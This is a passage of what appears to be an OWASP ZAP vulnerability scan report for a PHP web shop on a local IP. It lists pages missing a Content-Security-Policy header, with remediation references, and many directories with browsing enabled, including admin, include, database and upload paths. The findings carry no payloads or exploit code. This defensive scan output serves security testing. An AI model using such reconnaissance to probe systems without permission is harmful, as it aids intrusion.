URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10

Method POST

http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=10


Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/backup.php

Method POST

Attack

http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=6
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=7
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=8
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=9
http://192.168.1.10/admin/ADMIN/SERVER/backup.php


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack

http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php


Evidence

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php

Method POST

Attack

Evidence

URL http://192.168.1.10/admin/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/index.php

Method POST

Attack

Evidence

URL http://192.168.1.10/login.php

Method POST

Attack

Evidence

URL http://192.168.1.10/mail.php

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=1

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=10

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=2

Method POST

Attack

Evidence

http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php
http://192.168.1.10/admin/index.php
http://192.168.1.10/index.php
http://192.168.1.10/login.php
http://192.168.1.10/mail.php
http://192.168.1.10/product_details.php
http://192.168.1.10/product_details.php?%20id=1
http://192.168.1.10/product_details.php?%20id=10
http://192.168.1.10/product_details.php?%20id=11
http://192.168.1.10/product_details.php?%20id=2


URL http://192.168.1.10/product_details.php?%20id=3

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=4

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=5

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=6

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=7

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=8

Method POST

Attack

Evidence

URL http://192.168.1.10/product_details.php?%20id=9

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=1

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=2

Method POST

Attack

Evidence

URL http://192.168.1.10/products.php?page=3

http://192.168.1.10/product_details.php?%20id=3
http://192.168.1.10/product_details.php?%20id=4
http://192.168.1.10/product_details.php?%20id=5
http://192.168.1.10/product_details.php?%20id=6
http://192.168.1.10/product_details.php?%20id=7
http://192.168.1.10/product_details.php?%20id=8
http://192.168.1.10/product_details.php?%20id=9
http://192.168.1.10/products.php
http://192.168.1.10/products.php?page=1
http://192.168.1.10/products.php?page=2
http://192.168.1.10/products.php?page=3


Method POST

Attack

Evidence

URL http://192.168.1.10/register.php

Method POST

Attack

Evidence

Instances 1076

Solution

Ensure that your web server, application server, load balancer, etc. is configured to set the 
Content-Security-Policy header, to achieve optimal browser support: "Content-Security-
Policy" for Chrome 25+, Firefox 23+ and Safari 7+, "X-Content-Security-Policy" for Firefox 
4.0+ and Internet Explorer 10+, and "X-WebKit-CSP" for Chrome 14+ and Safari 6+.

Reference

https://developer.mozilla.org/en-US/docs/Web/Security/CSP
 /Introducing_Content_Security_Policy

https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html

 http://www.w3.org/TR/CSP/
 http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html

 http://www.html5rocks.com/en/tutorials/security/content-security-policy/
 http://caniuse.com/#feat=contentsecuritypolicy

http://content-security-policy.com/

CWE Id 693

WASC Id 15

Plugin Id 10038

Medium Directory Browsing

Description It is possible to view the directory listing. Directory listing may reveal hidden scripts, include 
files, backup source files, etc. which can be accessed to read sensitive information.

URL http://192.168.1.10/admin/ADMIN/

Method GET

Attack http://192.168.1.10/admin/ADMIN/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/ADS/css/

Method GET

Attack http://192.168.1.10/admin/ADMIN/ADS/css/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/ADS/css/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/ADS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/ADS/js/

Method GET

Attack http://192.168.1.10/admin/ADMIN/ADS/js/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/ADS/js/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/ADS/js/locales/

http://192.168.1.10/register.php
https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy
https://developer.mozilla.org/en-US/docs/Web/Security/CSP/Introducing_Content_Security_Policy
https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html
http://www.w3.org/TR/CSP/
http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html
http://www.html5rocks.com/en/tutorials/security/content-security-policy/
http://caniuse.com/#feat=contentsecuritypolicy
http://content-security-policy.com/
https://cwe.mitre.org/data/definitions/693.html
https://www.zaproxy.org/docs/alerts/10038/
http://192.168.1.10/admin/ADMIN/
http://192.168.1.10/admin/ADMIN/ADS/css/
http://192.168.1.10/admin/ADMIN/ADS/css/locales/
http://192.168.1.10/admin/ADMIN/ADS/js/
http://192.168.1.10/admin/ADMIN/ADS/js/locales/


Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/AS/css/

Method GET

Attack http://192.168.1.10/admin/ADMIN/AS/css/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/AS/css/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/AS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/AS/js/

Method GET

Attack http://192.168.1.10/admin/ADMIN/AS/js/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/AS/js/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/AS/js/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/OOS/css/

Method GET

Attack http://192.168.1.10/admin/ADMIN/OOS/css/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/OOS/css/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/OOS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/OOS/js/

Method GET

Attack http://192.168.1.10/admin/ADMIN/OOS/js/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/OOS/js/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/OOS/js/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/

Evidence Parent Directory

http://192.168.1.10/admin/ADMIN/AS/css/
http://192.168.1.10/admin/ADMIN/AS/css/locales/
http://192.168.1.10/admin/ADMIN/AS/js/
http://192.168.1.10/admin/ADMIN/AS/js/locales/
http://192.168.1.10/admin/ADMIN/OOS/css/
http://192.168.1.10/admin/ADMIN/OOS/css/locales/
http://192.168.1.10/admin/ADMIN/OOS/js/
http://192.168.1.10/admin/ADMIN/OOS/js/locales/
http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/
http://192.168.1.10/admin/ADMIN/SERVER/ADS/css/locales/


URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/AS/css/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/AS/js/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/products/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/AS/products/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/css/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/css/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/css/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/css/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/

http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/
http://192.168.1.10/admin/ADMIN/SERVER/ADS/js/locales/
http://192.168.1.10/admin/ADMIN/SERVER/ADS/upload/
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/
http://192.168.1.10/admin/ADMIN/SERVER/AS/css/locales/
http://192.168.1.10/admin/ADMIN/SERVER/AS/js/
http://192.168.1.10/admin/ADMIN/SERVER/AS/js/locales/
http://192.168.1.10/admin/ADMIN/SERVER/AS/products/
http://192.168.1.10/admin/ADMIN/SERVER/css/
http://192.168.1.10/admin/ADMIN/SERVER/css/locales/
http://192.168.1.10/admin/ADMIN/SERVER/js/


Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/js/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/js/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/js/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/

Evidence Parent Directory

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/

Method GET

Attack http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/

Method GET

Attack http://192.168.1.10/admin/assets/

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/

Method GET

Attack http://192.168.1.10/admin/assets/css/

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/css/locales/

Method GET

Attack http://192.168.1.10/admin/assets/css/locales/

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/img/

Method GET

Attack http://192.168.1.10/admin/assets/img/

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/

Method GET

http://192.168.1.10/admin/ADMIN/SERVER/js/locales/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/css/locales/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/
http://192.168.1.10/admin/ADMIN/SERVER/OOS/js/locales/
http://192.168.1.10/admin/assets/
http://192.168.1.10/admin/assets/css/
http://192.168.1.10/admin/assets/css/locales/
http://192.168.1.10/admin/assets/img/
http://192.168.1.10/admin/assets/js/


Attack http://192.168.1.10/admin/assets/js/

Evidence Parent Directory

URL http://192.168.1.10/admin/assets/js/google-code-prettify/

Method GET

Attack http://192.168.1.10/admin/assets/js/google-code-prettify/

Evidence Parent Directory

URL http://192.168.1.10/admin/include/

Method GET

Attack http://192.168.1.10/admin/include/

Evidence Parent Directory

URL http://192.168.1.10/assets/

Method GET

Attack http://192.168.1.10/assets/

Evidence Parent Directory

URL http://192.168.1.10/assets/bootstrap/

Method GET

Attack http://192.168.1.10/assets/bootstrap/

Evidence Parent Directory

URL http://192.168.1.10/assets/bootstrap/css/

Method GET

Attack http://192.168.1.10/assets/bootstrap/css/

Evidence Parent Directory

URL http://192.168.1.10/assets/bootstrap/fonts/

Method GET

Attack http://192.168.1.10/assets/bootstrap/fonts/

Evidence Parent Directory

URL http://192.168.1.10/assets/bootstrap/js/

Method GET

Attack http://192.168.1.10/assets/bootstrap/js/

Evidence Parent Directory

URL http://192.168.1.10/assets/css/

Method GET

Attack http://192.168.1.10/assets/css/

Evidence Parent Directory

URL http://192.168.1.10/assets/img/

Method GET

Attack http://192.168.1.10/assets/img/

Evidence Parent Directory

URL http://192.168.1.10/assets/js/

Method GET

Attack http://192.168.1.10/assets/js/

http://192.168.1.10/admin/assets/js/google-code-prettify/
http://192.168.1.10/admin/include/
http://192.168.1.10/assets/
http://192.168.1.10/assets/bootstrap/
http://192.168.1.10/assets/bootstrap/css/
http://192.168.1.10/assets/bootstrap/fonts/
http://192.168.1.10/assets/bootstrap/js/
http://192.168.1.10/assets/css/
http://192.168.1.10/assets/img/
http://192.168.1.10/assets/js/


Evidence Parent Directory

URL http://192.168.1.10/assets/js/google-code-prettify/

Method GET

Attack http://192.168.1.10/assets/js/google-code-prettify/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/

Method GET

Attack http://192.168.1.10/bootstrap/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/bootstrap/

Method GET

Attack http://192.168.1.10/bootstrap/bootstrap/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/bootstrap/css/

Method GET

Attack http://192.168.1.10/bootstrap/bootstrap/css/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/bootstrap/js/

Method GET

Attack http://192.168.1.10/bootstrap/bootstrap/js/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/

Method GET

Attack http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/css/

Method GET

Attack http://192.168.1.10/bootstrap/css/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/fonts/

Method GET

Attack http://192.168.1.10/bootstrap/fonts/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/

Method GET

Attack http://192.168.1.10/bootstrap/js/

Evidence Parent Directory

URL http://192.168.1.10/bootstrap/js/vendor/

Method GET

Attack http://192.168.1.10/bootstrap/js/vendor/

Evidence Parent Directory

http://192.168.1.10/assets/js/google-code-prettify/
http://192.168.1.10/bootstrap/
http://192.168.1.10/bootstrap/bootstrap/
http://192.168.1.10/bootstrap/bootstrap/css/
http://192.168.1.10/bootstrap/bootstrap/js/
http://192.168.1.10/bootstrap/bootstrap/js/google-code-prettify/
http://192.168.1.10/bootstrap/css/
http://192.168.1.10/bootstrap/fonts/
http://192.168.1.10/bootstrap/js/
http://192.168.1.10/bootstrap/js/vendor/


URL http://192.168.1.10/database/

Method GET

Attack http://192.168.1.10/database/

Evidence Parent Directory

URL http://192.168.1.10/icons/

Method GET

Attack http://192.168.1.10/icons/

Evidence Parent Directory

URL http://192.168.1.10/icons/small/

Method GET

Attack http://192.168.1.10/icons/small/

Evidence Parent Directory

URL http://192.168.1.10/img/

Method GET

Attack http://192.168.1.10/img/

Evidence Parent Directory

URL http://192.168.1.10/include/

Method GET

Attack http://192.168.1.10/include/

Evidence Parent Directory

URL http://192.168.1.10/pictures/

Method GET

Attack http://192.168.1.10/pictures/

Evidence Parent Directory

URL http://192.168.1.10/production/

Method GET

Attack http://192.168.1.10/production/

Evidence Parent Directory

URL http://192.168.1.10:80//assets//bootstrap/css/

Method GET

Attack http://192.168.1.10:80//assets//bootstrap/css/

Evidence Parent Directory

URL http://192.168.1.10:80//assets//bootstrap/fonts/

Method GET

Attack http://192.168.1.10:80//assets//bootstrap/fonts/

Evidence Parent Directory

URL http://192.168.1.10:80//assets//bootstrap/js/

Method GET

Attack http://192.168.1.10:80//assets//bootstrap/js/

Evidence Parent Directory

URL http://192.168.1.10:80//assets//img/

http://192.168.1.10/database/
http://192.168.1.10/icons/
http://192.168.1.10/icons/small/
http://192.168.1.10/img/
http://192.168.1.10/include/
http://192.168.1.10/pictures/
http://192.168.1.10/production/
http://192.168.1.10:80//assets//bootstrap/css/
http://192.168.1.10:80//assets//bootstrap/fonts/
http://192.168.1.10:80//assets//bootstrap/js/
http://192.168.1.10:80//assets//img/


Method GET

Attack http://192.168.1.10:80//assets//img/

Evidence Parent Directory

URL http://192.168.1.10:80//assets/bootstrap/

Method GET

Attack http://192.168.1.10:80//assets/bootstrap/

Evidence Parent Directory

URL http://192.168.1.10:80//assets/css/

Method GET

Attack http://192.168.1.10:80//assets/css/

Evidence Parent Directory

URL http://192.168.1.10:80//assets/js/

Method GET

Attack http://192.168.1.10:80//assets/js/

Evidence Parent Directory

URL http://192.168.1.10:80//assets/js//google-code-prettify/

Method GET

Attack http://192.168.1.10:80//assets/js//google-code-prettify/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/ADS//js/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/ADS//js/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/ADS/css/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/ADS/css/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/ADS/css/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/ADS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/ADS/js/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/ADS/js/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/AS//js/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/AS//js/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/AS//js/locales/

Method GET

http://192.168.1.10:80//assets/bootstrap/
http://192.168.1.10:80//assets/css/
http://192.168.1.10:80//assets/js/
http://192.168.1.10:80//assets/js//google-code-prettify/
http://192.168.1.10:80/admin/ADMIN/ADS//js/locales/
http://192.168.1.10:80/admin/ADMIN/ADS/css/
http://192.168.1.10:80/admin/ADMIN/ADS/css/locales/
http://192.168.1.10:80/admin/ADMIN/ADS/js/
http://192.168.1.10:80/admin/ADMIN/AS//js/
http://192.168.1.10:80/admin/ADMIN/AS//js/locales/


Attack http://192.168.1.10:80/admin/ADMIN/AS//js/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/AS/css/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/AS/css/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/AS/css/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/AS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/OOS//js/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/OOS//js/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/OOS/css/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/OOS/css/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/OOS/css/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/OOS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/OOS/js/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/OOS/js/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER//js/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER//js/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER//js/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER//js/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS//js/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/ADS//js/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/css/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/css/

http://192.168.1.10:80/admin/ADMIN/AS/css/
http://192.168.1.10:80/admin/ADMIN/AS/css/locales/
http://192.168.1.10:80/admin/ADMIN/OOS//js/locales/
http://192.168.1.10:80/admin/ADMIN/OOS/css/
http://192.168.1.10:80/admin/ADMIN/OOS/css/locales/
http://192.168.1.10:80/admin/ADMIN/OOS/js/
http://192.168.1.10:80/admin/ADMIN/SERVER//js/
http://192.168.1.10:80/admin/ADMIN/SERVER//js/locales/
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS//js/locales/
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/css/


Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/css/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/js/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/js/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/upload/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/upload/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS//js/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/AS//js/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/css/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/AS/css/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/css/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/AS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/js/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/AS/js/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/products/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/AS/products/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/css/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/css/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/css/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/css/locales/

http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/css/locales/
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/js/
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/upload/
http://192.168.1.10:80/admin/ADMIN/SERVER/AS//js/locales/
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/css/
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/css/locales/
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/js/
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/products/
http://192.168.1.10:80/admin/ADMIN/SERVER/css/
http://192.168.1.10:80/admin/ADMIN/SERVER/css/locales/


Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/OOS//js/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/OOS//js/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/css/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/css/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/css/locales/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/css/locales/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/js/

Method GET

Attack http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/js/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/assets/

Method GET

Attack http://192.168.1.10:80/admin/assets/

Evidence Parent Directory

URL http://192.168.1.10:80/admin/include/

Method GET

Attack http://192.168.1.10:80/admin/include/

Evidence Parent Directory

URL http://192.168.1.10:80/assets/bootstrap/

Method GET

Attack http://192.168.1.10:80/assets/bootstrap/

Evidence Parent Directory

URL http://192.168.1.10:80/assets/css/

Method GET

Attack http://192.168.1.10:80/assets/css/

Evidence Parent Directory

URL http://192.168.1.10:80/assets/img/

Method GET

Attack http://192.168.1.10:80/assets/img/

Evidence Parent Directory

URL http://192.168.1.10:80/assets/js/

Method GET

Attack http://192.168.1.10:80/assets/js/

Evidence Parent Directory

http://192.168.1.10:80/admin/ADMIN/SERVER/OOS//js/locales/
http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/css/
http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/css/locales/
http://192.168.1.10:80/admin/ADMIN/SERVER/OOS/js/
http://192.168.1.10:80/admin/assets/
http://192.168.1.10:80/admin/include/
http://192.168.1.10:80/assets/bootstrap/
http://192.168.1.10:80/assets/css/
http://192.168.1.10:80/assets/img/
http://192.168.1.10:80/assets/js/


URL http://192.168.1.10:80/assets/js//google-code-prettify/

Method GET

Attack http://192.168.1.10:80/assets/js//google-code-prettify/

Evidence Parent Directory

URL http://192.168.1.10:80/icons/small/

Method GET

